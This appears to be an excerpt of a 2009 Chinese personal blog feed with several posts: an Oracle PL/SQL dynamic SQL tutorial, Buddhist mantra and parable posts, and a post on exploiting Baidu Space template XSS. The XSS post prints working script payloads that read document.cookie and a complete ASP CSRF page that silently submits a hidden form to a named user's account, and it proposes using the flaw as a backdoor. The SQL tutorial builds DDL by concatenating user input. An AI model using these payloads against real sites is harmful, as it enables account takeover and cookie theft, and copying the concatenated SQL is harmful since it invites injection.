style="font-weight:bold"><wbr />SQL</span><wbr />&gt; <span style="font-weight:bold"><wbr />select</span><wbr /> * <span style="font-weight:bold"><wbr />from</span><wbr /> dinya_test;<br><span style="font-weight:bold"><wbr />ID</span><wbr /> <span style="font-weight:bold"><wbr />NAME</span><wbr /><br>1 dinya<br></span><wbr />　　在上例中，本地动态SQL执行DML语句时使用了using子句，按顺序将输入的值绑定到变量，如果需要输出参数，可以在执行动态SQL的时候，使用RETURNING INTO 子句，如：<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />declare</span><wbr /><br>p_id <span style="font-weight:bold"><wbr />number</span><wbr />:=1;<br>v_count <span style="font-weight:bold"><wbr />number</span><wbr />;<br><span style="font-weight:bold"><wbr />begin</span><wbr /><br>v_string:=’select count(*) from table_name a where a.id=:id’;<br><span style="font-weight:bold"><wbr />execute</span><wbr /> <span style="font-weight:bold"><wbr />immediate</span><wbr /> v_string <span style="font-weight:bold"><wbr />into</span><wbr /> v_count <span style="font-weight:bold"><wbr />using</span><wbr /> p_id;<br><span style="font-weight:bold"><wbr />end</span><wbr /> ;<br></span><wbr />　　更多的关于动态SQL中关于返回值及为输出输入绑定变量执行参数模式的问题，请读者自行做测试。<br><br><span style="font-weight:bold"><wbr />　　二、使用</span><wbr /><span style="font-weight:bold"><wbr />DBMS_SQL</span><wbr /><span style="font-weight:bold"><wbr />包<br></span><wbr /><br>　　使用DBMS_SQL包实现动态SQL的步骤如下：A、先将要执行的SQL语句或一个语句块放到一个字符串变量中。B、使用DBMS_SQL包的 parse过程来分析该字符串。C、使用DBMS_SQL包的bind_variable过程来绑定变量。D、使用DBMS_SQL包的execute函数来执行语句。<br><br><span style="font-weight:bold"><wbr />　　1</span><wbr /><span style="font-weight:bold"><wbr />、使用DBMS_SQL</span><wbr /><span style="font-weight:bold"><wbr />包执行DDL</span><wbr /><span style="font-weight:bold"><wbr />语句<br></span><wbr /><br>　　需求：使用DBMS_SQL包根据用户输入的表名、字段名及字段类型建表。<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />create</span><wbr /> <span style="font-weight:bold"><wbr />or</span><wbr /> <span style="font-weight:bold"><wbr />replace</span><wbr /> <span style="font-weight:bold"><wbr />procedure</span><wbr /> proc_dbms_sql<br>(<br>table_name <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr />, --表名<br>field_name1 <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr />, --字段名<br>datatype1 <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr />, --字段类型<br>field_name2 <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr />, --字段名<br>datatype2 <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr /> --字段类型<br>)<span style="font-weight:bold"><wbr />as</span><wbr /><br>v_cursor <span style="font-weight:bold"><wbr />number</span><wbr />; --定义光标<br>v_string <span style="font-weight:bold"><wbr />varchar2</span><wbr />(200); --定义字符串变量<br>v_row <span style="font-weight:bold"><wbr />number</span><wbr />; --行数<br><span style="font-weight:bold"><wbr />begin</span><wbr /><br>v_cursor:=dbms_sql.open_cursor; --为处理打开光标<br>v_string:=’create table ’||table_name||’(’||field_name1||’ ’||datatype1||’,’||field_name2||’ ’||datatype2||’)’;<br>dbms_sql.parse(v_cursor,v_string,dbms_sql.native); --分析语句<br>v_row:=dbms_sql.<span style="font-weight:bold"><wbr />execute</span><wbr />(v_cursor); --执行语句<br>dbms_sql.close_cursor(v_cursor); --关闭光标<br><span style="font-weight:bold"><wbr />exception</span><wbr /><br><span style="font-weight:bold"><wbr />when</span><wbr /> <span style="font-weight:bold"><wbr />others</span><wbr /> <span style="font-weight:bold"><wbr />then</span><wbr /><br>dbms_sql.close_cursor(v_cursor); --关闭光标<br><span style="font-weight:bold"><wbr />raise</span><wbr />;<br><span style="font-weight:bold"><wbr />end</span><wbr />;<br></span><wbr />　　以上过程编译通过后，执行过程创建表结构：<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt; <span style="font-weight:bold"><wbr />execute</span><wbr /> proc_dbms_sql(’dinya_test2’,’id’,’number(8) not null’,’name’,’varchar2(100)’);<br><br>PL/<span style="font-weight:bold"><wbr />SQL</span><wbr /> <span style="font-weight:bold"><wbr />procedure</span><wbr /> successfully completed<br><br><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt; <span style="font-weight:bold"><wbr />desc</span><wbr /> dinya_test2;<br><span style="font-weight:bold"><wbr />Name</span><wbr /> <span style="font-weight:bold"><wbr />Type</span><wbr /> Nullable <span style="font-weight:bold"><wbr />Default</span><wbr /> Comments<br><span style="font-style:italic"><wbr />---- ------------- -------- ------- --------</span><wbr /><br><span style="font-weight:bold"><wbr />ID</span><wbr /> <span style="font-weight:bold"><wbr />NUMBER</span><wbr />(8)<br><span style="font-weight:bold"><wbr />NAME</span><wbr /> <span style="font-weight:bold"><wbr />VARCHAR2</span><wbr />(100) Y<br><br><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt;<br></span><wbr /><span style="font-weight:bold"><wbr />　　2</span><wbr /><span style="font-weight:bold"><wbr />、使用DBMS_SQL</span><wbr /><span style="font-weight:bold"><wbr />包执行DML</span><wbr /><span style="font-weight:bold"><wbr />语句<br></span><wbr /><br>　　需求：使用DBMS_SQL包根据用户输入的值更新表中相对应的记录。<br><br>　　查看表中已有记录：<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt; <span style="font-weight:bold"><wbr />select</span><wbr /> * <span style="font-weight:bold"><wbr />from</span><wbr /> dinya_test2;<br><span style="font-weight:bold"><wbr />ID</span><wbr /> <span style="font-weight:bold"><wbr />NAME</span><wbr /><br>1 Oracle<br>2 CSDN<br>3 ERP<br><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt;<br></span><wbr />　　建存储过程，并编译通过：<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />create</span><wbr /> <span style="font-weight:bold"><wbr />or</span><wbr /> <span style="font-weight:bold"><wbr />replace</span><wbr /> <span style="font-weight:bold"><wbr />procedure</span><wbr /> proc_dbms_sql_update<br>(<br><span style="font-weight:bold"><wbr />id</span><wbr /> <span style="font-weight:bold"><wbr />number</span><wbr />,<br><span style="font-weight:bold"><wbr />name</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr /><br>)<span style="font-weight:bold"><wbr />as</span><wbr /><br>v_cursor <span style="font-weight:bold"><wbr />number</span><wbr />; --定义光标<br>v_string <span style="font-weight:bold"><wbr />varchar2</span><wbr />(200); --字符串变量<br>v_row <span style="font-weight:bold"><wbr />number</span><wbr />; --行数<br><span style="font-weight:bold"><wbr />begin</span><wbr /><br>v_cursor:=dbms_sql.open_cursor; --为处理打开光标<br>v_string:=’update dinya_test2 a set a.name=:p_name where a.id=:p_id’;<br>dbms_sql.parse(v_cursor,v_string,dbms_sql.native); --分析语句<br>dbms_sql.bind_variable(v_cursor,’:p_name’,<span style="font-weight:bold"><wbr />name</span><wbr />); --绑定变量<br>dbms_sql.bind_variable(v_cursor,’:p_id’,<span style="font-weight:bold"><wbr />id</span><wbr />); --绑定变量<br>v_row:=dbms_sql.<span style="font-weight:bold"><wbr />execute</span><wbr />(v_cursor);　　　　　　　　　　　--执行动态ＳＱＬ<br>dbms_sql.close_cursor(v_cursor); --关闭光标<br><span style="font-weight:bold"><wbr />exception</span><wbr /><br><span style="font-weight:bold"><wbr />when</span><wbr /> <span style="font-weight:bold"><wbr />others</span><wbr /> <span style="font-weight:bold"><wbr />then</span><wbr /><br>dbms_sql.close_cursor(v_cursor); --关闭光标<br><span style="font-weight:bold"><wbr />raise</span><wbr />;<br><span style="font-weight:bold"><wbr />end</span><wbr />;<br></span><wbr />　　执行过程，根据用户输入的参数更新表中的数据：<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt; <span style="font-weight:bold"><wbr />execute</span><wbr /> proc_dbms_sql_update(2,’csdn_dinya’);<br><br>PL/<span style="font-weight:bold"><wbr />SQL</span><wbr /> <span style="font-weight:bold"><wbr />procedure</span><wbr /> successfully completed<br><br><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt; <span style="font-weight:bold"><wbr />select</span><wbr /> * <span style="font-weight:bold"><wbr />from</span><wbr /> dinya_test2;<br><span style="font-weight:bold"><wbr />ID</span><wbr /> <span style="font-weight:bold"><wbr />NAME</span><wbr /><br>1 Oracle<br>2 csdn_dinya<br>3 ERP<br><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt;<br></span><wbr />　　执行过程后将第二条的name字段的数据更新为新值csdn_dinya。这样就完成了使用dbms_sql包来执行DML语句的功能。<br><br>　　使用DBMS_SQL中，如果要执行的动态语句不是查询语句，使用DBMS_SQL.Execute或 DBMS_SQL.Variable_Value来执行，如果要执行动态语句是查询语句，则要使用DBMS_SQL.define_column定义输出变量，然后使用DBMS_SQL.Execute, DBMS_SQL.Fetch_Rows, DBMS_SQL.Column_Value及DBMS_SQL.Variable_Value来执行查询并得到结果。<br><br><span style="font-weight:bold"><wbr />　　总结说明：<br></span><wbr /><br>　　在Oracle开发过程中，我们可以使用动态SQL来执行DDL语句、DML语句、事务控制语句及系统控制语句。但是需要注意的是，PL/SQL块中使用动态SQL执行DDL语句的时候与别的不同，在DDL中使用绑定变量是非法的（bind_variable(v_cursor,’:p_name’,name)），分析后不需要执行DBMS_SQL.Bind_Variable，直接将输入的变量加到字符串中即可。另外，DDL是在调用DBMS_SQL.PARSE时执行的，所以DBMS_SQL.EXECUTE也可以不用，即在上例中的v_row:=dbms_sql.execute(v_cursor)部分可以不要。 <!--v:3.2--> ]]></description>
<category><![CDATA[安全]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1244662243#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 10 Jun 2009 19:30:43 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1244662243</guid>
</item>

<item>
<title><![CDATA[往生咒]]></title>
<link>http://506966.qzone.qq.com/blog/1244527556</link>
<description><![CDATA[<span style="color:#ff0000;line-height:1.8em;">        往生咒简介</span><wbr /> <br><br><span style="color:#ff0000;line-height:1.8em;">        此神咒全称“拔一切业障根本得生净土陀罗尼”，简称往生咒，是《早晚课诵集》中十小咒之一。焚香跪拜佛像，合掌念诵此咒，日夜各二十一遍，能灭五逆、十恶、谤法等重罪。诚心念此咒，阿弥陀佛常在头上保佑，怨家不能伤害，可享安乐之福。 <br></span><wbr /><br><span style="color:#ff0000;line-height:1.8em;">        最大效用：佛光普照，事事顺利，吉祥如意，幸福平安。持此咒须身口意悉皆清净，虔诚持念，即能消灭五逆十恶谤法等重罪，并常有阿弥陀佛，在其头顶以护行人，现世享安乐，临终往生阿弥陀佛的西方极乐净土。</span><wbr /> <br> <br><span style="color:#ff0000;line-height:1.8em;">        往生咒原文及注音</span><wbr /><span style="color:#ff0000;line-height:1.8em;">神咒原文：</span><wbr /><br> <br><span style="color:#ff0000;line-height:1.8em;">        南无阿弥多婆夜。哆他伽多夜。哆地夜他。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　阿弥利都婆毗。阿弥利哆。悉耽婆毗。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　阿弥唎哆。毗迦兰帝。阿弥唎哆。毗迦兰多。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　伽弥腻。伽伽那。枳多迦利。娑婆诃。　　</span><wbr /> <br><br><span style="color:#ff0000;line-height:1.8em;">        往生净土神咒注音：</span><wbr /> <br><br><span style="color:#ff0000;line-height:1.8em;">        nā mó ā mí duō pó yè。duō tuō qié duō yè。duō dì yè tuō。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　ā mí lì dū pó pí。ā mí lì duō。xī dān pó pí。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　ā mí lì duō。pí jiā lán dì。ā mí lì duō。pí jiā lán duō。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　qié mí nì。qié qié nuó。zhǐ duō jiā lì。suō pó hē。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　发音注解： <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　南无：发音（nā mó），今人多读成南（ná拿）无（mó摩）。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　阿：应该读成（ā啊），“阿弥多婆夜”梵译实际上是“阿弥陀佛”的意思。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　他：古音读（tuō托）、（tuó陀）。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　伽：读（qié茄）。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　都：咒内此处读音为（dū督）。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　毗：发音为（pí皮）。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　耽：读作（dān丹）。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　迦：读（jiā加）。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　腻：读音（nì逆）。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　伽伽那：“那”读成（nuó古音“娜”）。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　枳：发音（zhǐ止）。</span><wbr /> <br><br><span style="color:#ff0000;line-height:1.8em;">        往生咒功德利益</span><wbr /><span style="color:#ff0000;line-height:1.8em;">　　</span><wbr /> <br><br><span style="color:#ff0000;line-height:1.8em;">       【一】此咒全名「拔一切业障根本得生净土陀罗尼」。若有善男子、善女人，能诵此咒者，阿弥陀佛常住其顶，日夜拥护，无令怨家而得其便，现世常得安隐，临命终时任运往生。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　【二】诵此咒者。阿弥陀佛常住其顶，命终之后，任运往生。龙树菩萨愿生安养（西方极乐世界），梦感此咒。耶舍三藏诵此咒，天平等銹法师从耶舍三藏口受此咒。其人云：经本外国不来，受持咒法，日夜六时，各诵三七遍，晨夜藻漱嚼扬枝然香火，于形象前跪，合掌诵三七遍，日日恒尔，即灭四重、五逆、十恶、谤方等罪悉得除灭。现在不为一切诸邪鬼神之所恼乱，命终之后，任运往生阿弥陀国，何况昼夜受持诵读，功德不可思议！ <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　【三】诵此咒者。阿弥陀佛常住其顶。不令冤家为害。现世安稳。命终任意往生。若满二十万遍。即菩提芽生。三十万遍。非久面见阿弥陀佛。晋时远法师诵此咒。有神人。从西持白银台来云。法师寿终。当乘此往生阿弥陀佛国。众人闻空中如奏音乐。异香数日不歇。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　【四】《法苑珠林》卷60：「此之神呪先已流行。功能利益不可说尽。于晨朝时用杨枝净口散华烧香。佛像前胡跪合掌。口诵七遍。若二七三七遍。灭四重五逆等罪。现身不为诸横所恼。命终生无量寿国。又此呪能转女身令成男子。今别勘梵本。并问真婆罗门僧等。此呪威力不可思议。但旦暮午时各诵一百遍。能灭四重五逆。拔一切罪根得生西方。若能精诚满二十万遍。则菩提芽生得不退转。诵满三十万遍。则面见阿弥陀佛。决定得生安乐净土。」 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　拔一切业障根本得生净土陀罗尼，是出于《小无量寿经》（刘宋天竺三藏求那跋陀罗译）与《佛说阿弥陀佛根本秘密神咒经》（曹魏三藏菩提流支译）。它完整的名称是：《拔一切业障根本得生净土陀罗尼》，又名《阿弥陀佛根本秘密神咒》，通常称为《往生咒》。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　拔一切业障根本得生净土：众生为什么会流浪生死，在三界六道中轮回不息呢？就是因为业障重。这些业障从那里来的呢？就是因为有贪嗔痴等烦恼，造了杀盗淫妄种种的恶业，这些恶业的种子慢慢滋长，形成了众生受苦的原因，循环不息，没有了期。我们想把这些业障的烦恼根本拔起，不受轮回的痛苦，就要虔诚地持诵往生咒。往生咒能帮助我们拔掉一切业障的根本，使烦恼不再生起来，在世时自然幸福快乐，将来必定会往生西方极乐世界。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　陀罗尼：梵语，译成中文就是‘咒’，意思是‘总持’。‘总’一切法，‘持’无量义。意思是说，咒语虽然只有几个字，但是能把一切佛法的意义都包含了，可见咒的功德是无量的。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　平常我们一提到往生咒，一般人望文生义，总以为那是我们在临命终时才用得著，对现实的人生，不但不相干，而且还是不吉利的。这种想法，实在是错误的！我们了解了往生咒真正的定义以后，就知道往生咒是拔除一切业障的神咒，时时常念，阿弥陀佛会照顾我们，除了临终可以帮助我们往生，在现实人生更使我们得到平安幸福。它那不可思议的殊胜功德，实在是‘冥阳两利’的！ <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　《小无量寿经》与《佛说阿弥陀佛根本秘密神咒经》都有这样的记载：‘如果有善男子、善女人，能持诵这咒语，阿弥陀佛时常住在他的头顶，日夜拥护他，以免受到怨家的逼迫和恼害，现世经常得到平安幸福，临命终时，阿弥陀佛及圣众会来接引，可以自由自在地往生净土。’可见称念往生咒的人，不管是在生或往生，都有很大的利益。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　隋朝流传下来的《阿弥陀经不思议神力传》中记述了持咒的方法和利益：‘如果我们要持诵往生咒，应该清净三业，沐浴，漱口，至诚一心，在佛前燃香，长跪合掌，日夜各诵念二十一遍，就可以消灭四种严重的罪过（杀人、偷盗、邪淫、大妄语）、五逆罪（杀父、杀母、杀阿罗汉、出佛身血、破和合僧）、十种恶业（杀生、偷盗、邪淫、妄语、恶口、两舌、绮语、贪爱、憎恨、愚痴），甚至连毁谤大乘经典的罪业，都能够消除。现世一切所求，都能如意获得，不被邪恶的鬼神所迷惑和扰乱。如果有恒心地持诵了二十万遍，就会萌生智慧的苗芽。如果念了三十万遍，就能亲自看见阿弥陀佛。’ <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　因此我们修净土法门的人，在持念阿弥陀佛的圣号以外，如果能同时兼诵念往生咒，生前可拔除一切业障，临终必定能往生极乐国土。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　我们每天究竟要念多少往生咒呢？这要看各人的环境和时间而作决定；如果环境许可，时间充裕，不妨经常持诵，希望能早日达到三十万遍的最高目标。不然，就得自己酌量规定一个数目，但至少每天早晚要诵持二十一遍，必须持之以恒，日久自然获得殊胜的效果。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　现在流行的往生咒，一般称为《往生净土神咒》，共有五十九个字，一共有十四句，也有说是分为十五句的。说实在的，所有的咒是不可以解释的，只是翻音，没有翻义，字是中文，音仍然是梵语。字义既然没有翻译，就不知究竟是讲些什么了。但是为了让诸位对所念咒语的意思，多多少少有所了解，我就方便地、勉强地加以说明一下，并没有把全部的意思讲出来。 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　南无阿弥多婆夜 皈命无量寿。（吉祥的） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　多他伽多夜 如来。（佛的十种称号之一） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　多地夜他 即说咒曰。（所谓） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　阿弥利都婆毗 无量光明。（智慧身佛） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　阿弥利多 无量 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　悉耽婆毗 吉祥光。（功德身佛） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　阿弥利多 无量 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　毗迦兰帝 无碍行。（应化身佛。表示自由自在。） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　阿弥利多 无量 <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　毗迦兰多 无垢行。（如如身佛。表示无限清净。） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　伽弥腻 清泰故乡。（清净安泰幸福的极乐世界，是我们真正的归宿。） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　伽伽那 虚空。（空间，指从娑婆到极乐世界之间的十万亿佛土。） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　枳多迦利 坚往谛往生。（有坚强的信念，相信只要有诚心，一定能往生。） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　莎婆诃 速疾圆成。（很快达成目的。） <br></span><wbr /><br><br><span style="color:#ff0000;line-height:1.8em;">　　为什么咒语不翻译呢？密咒，是五种不翻中的秘密不翻。咒，是诸佛、菩萨的‘密语’，既然是密语，就是在印度也不能解释的。只要具足信心，虔诚持诵，不必了解意思，日久自然感应道交，在冥冥之中获得不可思议的效益。</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1244527556#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 09 Jun 2009 06:05:56 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1244527556</guid>
</item>

<item>
<title><![CDATA[百度空间的自定义模板XSS漏洞的利用]]></title>
<link>http://506966.qzone.qq.com/blog/1244104470</link>
<description><![CDATA[有些XSS不好利用啊，比如有些后台的XSS漏洞，你进不了别人的后台，怎么能利用他的XSS漏洞呢？进得了别人的后台，还利用这个XSS漏洞干什么？其实这个时候可以种个后门（如果那是个持久型的XSS，这是后话）。有些被称为鸡肋的XSS漏洞其实很多时候是因为没有找到合适的利用方式而已。<br><br><span style="color:#ff0000;line-height:1.8em;">比如百度空间的自定义模板处，那里还有两处持久型的XSS漏洞</span><wbr />，<span style="color:#0000ff;line-height:1.8em;">一个是在编辑CSS的textarea中写入这样的代 码&lt;/textarea&gt;&lt;script&gt;alert(‘xss’)&lt; /script&gt;&lt;textarea&gt;，然后保存该模板后会出现跨站</span><wbr />；<span style="color:#0000ff;line-height:1.8em;">还有一个是在编辑CSS的textarea中写入&lt; /style&gt;&lt;script&gt;alert(document.cookie)&lt; /script&gt;&lt;style&gt;，点击“预览”会出现跨站</span><wbr />。这样的过程似乎只能跨自己？<span style="color:#ff0000;line-height:1.8em;">不对！利用CSRF可以使得这些不好利用的 XSS漏洞变得同样威力无穷。<br></span><wbr /><br>比如：<br><br>一个攻击者构造的页面http://www.***.com/csrf-xss-baiduhi.asp的代码如下：<br><br><span style="color:#0000ff;line-height:1.8em;">&lt;%<br>s = &quot;&lt;form method='post' action='http://hi.baidu.com/yuxi4n/commit'&gt;&quot;<br>s = s+&quot;&lt;input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='ct'/&gt;&quot;<br>s = s+&quot;&lt;input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssUse'/&gt;&quot;<br>s = s+&quot;&lt;input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssColorID'/&gt;&quot;<br>s = s+&quot;&lt;input type='text' style='display:none!important;display:block;width=0;height=0' value='-1' name='spCssLayoutID'/&gt;&quot;<br>s = s+&quot;&lt;input type='text' style='display:none!important;display:block;width=0;height=0' value='http://hi.baidu.com/yuxi4n/modify/spcss/20f51f4f94129a36aec3ab11.css/edit' name='spRefURL'/&gt;&quot;<br>s = s+&quot;&lt;input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='cm'/&gt;&quot;<br>s = s+&quot;&lt;input type='text' style='display:none!important;display:block;width=0;height=0' value='&lt;/style&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;style&gt;' name='spCssText'/&gt;&quot;<br>s = s+&quot;&lt;input type='text' style='display:none!important;display:block;width=0;height=0' value='abc' name='spCssName'/&gt;&quot;<br>s = s+&quot;&lt;input type='text' style='display:none!important;display:block;width=0;height=0' value='0' name='spCssTag'/&gt;&quot;<br>s = s+&quot;&lt;/form&gt;&quot;<br>s = s+&quot;&lt;script&gt;document.forms[0].submit();&lt;/script&gt;&quot;<br>Response.write(s)<br>%&gt;</span><wbr /><br>被攻击者yuxi4n访问这个链接时就被CSRF了，接着就是XSS的出现:)。XSS能做什么就做什么了。上面的CSRF代码提交了自定义模板表单并执行了预览功能。预览的时候就跨了。CSRF可以做的很隐蔽。上次xKungfoo回来后和monyer聊的就是这个，当时百度C2C内某处的预览功能就存在这样的XSS。很多人认为根本没办法利用，然后结合CSRF呢？monyer给他们演示后，现在这个漏洞被修补了。<br><br>同样的问题出现在很多网站上，恩，假如CSRF防御做得好的话就不用担心这个了，不过我们可以利用这样被忽略的XSS漏洞做后门，假如有这个机会的话。 <!--v:3.2--> ]]></description>
<category><![CDATA[安全]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1244104470#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Thu, 04 Jun 2009 08:34:30 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1244104470</guid>
</item>

<item>
<title><![CDATA[女人为什么有贫富贵贱和美丑 [标准答案]]]></title>
<link>http://506966.qzone.qq.com/blog/1244064497</link>
<description><![CDATA[<span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#ff6600;line-height:1.8em;"><span style="font-size:16px;line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#ff0000;line-height:1.8em;">胜鬘夫人是舍卫国波斯匿王之女，也是</span><wbr />逾阇国的王妃。</span><wbr /></span><wbr /><span style="font-size:16px;line-height:1.8em;">胜鬘夫人地位尊贵，但面貌却长得不太好看，她心里常常因此生起疑惑。</span><wbr /><span style="line-height:1.8em;"><span style="font-size:16px;line-height:1.8em;">有一次，当释迦牟尼佛在舍卫国祇园精舍的时候，她来到佛前顶礼佛陀之后，很恭敬地向佛陀提出几个问题：</span><wbr /><span style="font-size:16px;line-height:1.8em;">世尊！</span><wbr /></span><wbr /></span><wbr /></span><wbr /></span><wbr /><span style="line-height:1.8em;"> <br><span style="color:#ff6600;font-size:16px;line-height:1.8em;">　　<span style="color:#ff0000;line-height:1.8em;">一、</span><wbr /><span style="color:#ff6600;line-height:1.8em;">为什么有些女人面貌丑陋，体态粗劣，望之可怖，而且穷苦卑贱？</span><wbr /></span><wbr /></span><wbr /> <br><span style="color:#ff6600;font-size:16px;line-height:1.8em;">　<span style="color:#ff0000;line-height:1.8em;">　二、</span><wbr /><span style="color:#ff6600;line-height:1.8em;">为什么有些女人面貌丑陋，体态粗劣，望之可怖，但是大富大贵？</span><wbr /></span><wbr /> <br><span style="color:#ff6600;font-size:16px;line-height:1.8em;">　<span style="font-weight:bold"><wbr />　<span style="color:#ff0000;line-height:1.8em;">三、</span><wbr /><span style="color:#ff6600;line-height:1.8em;">为什么有些女人长的美丽出众，却很贫苦，出身卑贱？</span><wbr /></span><wbr /></span><wbr /> <br><br><br><span style="color:#ff6600;font-size:16px;line-height:1.8em;"><span style="font-weight:bold"><wbr />　　<span style="color:#ff0000;line-height:1.8em;">四、</span><wbr /><span style="color:#ff6600;line-height:1.8em;">为什么有些女人长的美丽端庄，清秀可敬，有财有福，身世高贵？</span><wbr /></span><wbr /></span><wbr /> <br><br><br><span style="line-height:1.8em;"><span style="color:#ff6600;font-size:16px;line-height:1.8em;"><span style="font-weight:bold"><wbr />　　 <span style="color:#ff0000;line-height:1.8em;">佛陀开示说：「胜鬘！女人面容丑陋，体态粗劣，</span><wbr />望之可怖，而且贫苦卑贱，是由于过去世性情暴躁，容易发怒，有人稍微说她不是，就心怀怨恨，气愤憎恶；同时她也不以吃的、用的、以及各种财物，或是香花之类布施沙门(出家修道的人)、婆罗门；又生性善妒，看见别人得到财物、荣誉、尊重、敬仰、礼遇、崇拜，就生妒忌，因忌生怒。</span><wbr /></span><wbr /></span><wbr /> <br><br><span style="line-height:1.8em;"><br><span style="color:#ff6600;font-size:16px;line-height:1.8em;"><span style="font-weight:bold"><wbr />　  <span style="color:#ff0000;line-height:1.8em;">胜鬘！女人面貌丑陋，体态粗劣，望之可怖，但</span><wbr />却大富大贵，是由于过去世性情暴躁，有人说她不是，她就生气、怨恨、愤怒、憎恶，可是她却常以吃的、喝、用的，及一切财物、建地或房舍，以及香花水果等布施供养沙门、婆罗门；且又没有妒忌之心，看见别人得到财富、荣誉、尊重、敬仰、礼遇、崇拜，她能随喜赞叹。</span><wbr /></span><wbr /></span><wbr /> <br><br><br><span style="color:#ff6600;font-size:16px;line-height:1.8em;"><span style="font-weight:bold"><wbr />　  <span style="color:#ff0000;line-height:1.8em;">胜鬘！女人面目姣好，美丽动人，但很贫苦，</span><wbr />身世卑贱是由于过去世性情温柔，有人讲她坏话，也不生气，又能忍让，可是他对沙门及婆罗门却不肯作任何供养布施，又生性善妒，看见别人得到财富、荣誉、尊重、敬仰、礼遇、崇拜，她就生妒忌，常自傲慢。</span><wbr /></span><wbr /> <br><br><br><span 